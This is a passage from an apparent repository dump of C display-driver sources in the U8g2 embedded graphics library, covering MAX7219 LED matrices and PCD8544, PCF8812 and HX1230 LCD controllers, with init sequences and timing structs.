= */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 4,\n  /* tile_height = */ 1,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 32,\n  /* pixel_height = */ 8\n};\n\nuint8_t u8x8_d_max7219_32x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY :\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_32x8_display_info);\n      return 1;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq);    \n      return 1;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq);\n      return 1;\n  }\n  return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*==============================*/\n\nstatic const u8x8_display_info_t u8x8_max7219_16x16_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 100,\n  /* reset_pulse_width_ms = */ 100, \n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 100,\t\n  /* sck_pulse_width_ns = */ 100,\t\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 2,\n  /* tile_height = */ 2,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 16,\n  /* pixel_height = */ 16\n};\n\n/*\n  Multiple page rows are not supported, so 16x16 will not work.\n  Due to the hardware structure of such displays all tiles of the display\n  must be written at once. \n  This is not possible with the current u8g2 structure.\n  So u8x8_d_max7219_16x16 will not work.\n*/\n\nuint8_t u8x8_d_max7219_16x16(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY :\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_16x16_display_info);\n      return 1;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq);    \n      return 1;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq);\n      return 1;\n  }\n  return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*==============================*/\n\nstatic const u8x8_display_info_t u8x8_max7219_8x8_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 100,\n  /* reset_pulse_width_ms = */ 100, \n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 100,\t\n  /* sck_pulse_width_ns = */ 100,\t\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 1,\n  /* tile_height = */ 1,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 8,\n  /* pixel_height = */ 8\n};\n\nuint8_t u8x8_d_max7219_8x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY :\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_8x8_display_info);\n      return 1;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_init_seq);    \n      return 1;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_powersave1_seq);\n      return 1;\n  }\n    return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n/*==============================*/\n\nstatic const uint8_t u8x8_d_max7219_8_init_seq[] = {\n\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_CA(15, 0),\t\t\t\t/* test mode off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_CA(12, 0),\t\t\t\t/*  */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_CA(9, 0),\t\t\t\t/* decode mode: graphics */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_CA(10, 10),\t\t\t\t/* medium high intensity */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_CA(11, 7),\t\t\t\t/* scan limit: display all digits (assuming a 8x8 matrix) */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n\n\n  //U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n    \n  //U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_max7219_8_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_CA(12, 1),\t\t\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_max7219_8_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_CA(12, 0),\t\t\t\t/* shutdown */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_max7219_64x8_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 100,\n  /* reset_pulse_width_ms = */ 100, \n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 100,\t\n  /* sck_pulse_width_ns = */ 100,\t\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 8,\n  /* tile_height = */ 1,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 64,\n  /* pixel_height = */ 8\n};\n\nuint8_t u8x8_d_max7219_64x8(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY :\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_max7219_64x8_display_info);\n      return 1;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_max7219_8_init_seq);    \n      return 1;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_8_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_max7219_8_powersave1_seq);\n      return 1;\n  }\n  return u8x8_d_max7219_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_pcd8544_84x48.c",
    "content": "/*\n\n  u8x8_d_pcd8544_84x48.c (so called \"Nokia 5110\" displays)\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_pcd8544_84x48_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x021),            \t\t\t/* activate chip (PD=0), horizontal increment (V=0), enter extended command set (H=1) */\n  U8X8_C(0x006),\t\t                /* temp. control: b10 = 2  */\n  U8X8_C(0x013),\t\t                /* bias system 1:48 */\n  U8X8_C(0x0c0),\t\t                /* medium Vop  */\n  \n  U8X8_C(0x020),\t\t                /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */\n  U8X8_C(0x008),\t\t\t\t/* blank */\n  U8X8_C(0x024),\t\t                /* power down (PD=1), horizontal increment (V=0), enter normal command set (H=0) */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_pcd8544_84x48_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x020),\t\t                /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */\n  U8X8_C(0x00c),\t\t\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_pcd8544_84x48_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x020),\t\t                /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */\n  U8X8_C(0x008),\t\t\t\t/* blank */\n  U8X8_C(0x024),\t\t                /* power down (PD=1), horizontal increment (V=0), enter normal command set (H=0) */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\nstatic const u8x8_display_info_t u8x8_pcd8544_84x48_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 2, \n  /* post_reset_wait_ms = */ 2, \n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 11,\t\t/* width of 11*8=88 pixel */\n  /* tile_height = */ 6,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 84,\n  /* pixel_height = */ 48\n};\n\nuint8_t u8x8_d_pcd8544_84x48(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcd8544_84x48_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_pcd8544_84x48_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_pcd8544_84x48_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_pcd8544_84x48_powersave1_seq);\n      break;\n    // case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n    // \t  break; \tNOT SUPPORTED\n      \n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x021 ); /* command mode, extended function set */\n      u8x8_cad_SendCmd(u8x8, 0x080 | (arg_int >> 1) );\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x020 ); /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */\n      u8x8_cad_SendCmd(u8x8, 0x080 | (x) );\t/* set X address */\n      u8x8_cad_SendCmd(u8x8, 0x040 | (((u8x8_tile_t *)arg_ptr)->y_pos) );\t/* set Y address */\n    \n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\t\n      do\n      {\n\tif ( c + x > 84u )\n\t{\n\t  if ( x >= 84u )\n\t    break;\n\t  c = 84u;\n\t  c -= x;\n\t}\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\tx += c;\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_pcf8812.c",
    "content": "/*\n\n  u8x8_d_pcf8812.c\n  \n  pcf8812: 65x102\n  pcf8814: 65x96\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_pcf8812_96x65_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x020),\t\t                /* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */\n  U8X8_C(0x008),\t\t                /* blank display */\n  \n  U8X8_C(0x021),\t\t                /* activate chip (PD=0), horizontal increment (V=0), enter extended command set (H=1) */\n  U8X8_C(0x006),\t\t                /* temp. control: b10 = 2 */\n  U8X8_C(0x013),\t\t                /* bias system, 0x010..0x07 1:48 */\n  U8X8_C(0x09f),\t\t\t\t/* contrast setting, 0..127 */\n  //U8X8_CA(0x020 | 2, 0x080 | 0),\t\t\t\t/* contrast setting, pcf8814 */\n\n  U8X8_C(0x024),\t\t                /* deactivate chip (PD=1), horizontal increment (V=0), enter normal command set (H=0) */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_pcf8812_96x65_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x020),\t\t                /* power on */\n  U8X8_C(0x00c),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_pcf8812_96x65_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x020),\t\t                /* power on */\n  U8X8_C(0x008),\t\t                /* blank display */\n  U8X8_C(0x024),\t\t                /* power down */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_pcf8812_96x65_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcf8812_96x65_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_powersave1_seq);\n      break;\n/*\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_pcf8812_96x65_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n*/\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x021 );    /* command mode, extended function set */\n      u8x8_cad_SendArg(u8x8, (arg_int>>1)|0x80 );\t/* 0..127 for contrast */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n    \n      u8x8_cad_SendCmd(u8x8, 0x020 );\t/* activate chip (PD=0), horizontal increment (V=0), enter normal command set (H=0) */\n      u8x8_cad_SendCmd(u8x8, 0x080 | x);\n      u8x8_cad_SendCmd(u8x8, 0x040 | ((u8x8_tile_t *)arg_ptr)->y_pos);\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_pcf8812_96x65_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 100,\n  /* reset_pulse_width_ms = */ 100, \n  /* post_reset_wait_ms = */ 100, \n  /* sda_setup_time_ns = */ 100,\t\n  /* sck_pulse_width_ns = */ 100,\t\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t\n  /* tile_width = */ 12,\n  /* tile_height = */ 9,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 65\n};\n\nuint8_t u8x8_d_pcf8812_96x65(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_pcf8812_96x65_display_info);\n      return 1;\n    }\n    return u8x8_d_pcf8812_96x65_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_pcf8814_hx1230.c",
    "content": "/*\n\n  u8x8_d_pcf8814_hc1230.c\n  \n  pcf8814: 65x96\n  hx1230: 68x96\n  \n  pcf8814 and hc1230 are almost identical.\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_hx1230_96x68_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x020),\t\t                /* power off */\n  U8X8_C(0x080),\t\t\t\t/* contrast setting, 0..31, set to 0 */\n  U8X8_C(0x0a6),\t\t                /* not inverted display */\n  U8X8_C(0x0a4),\t\t                /* normal display mode */\n\n  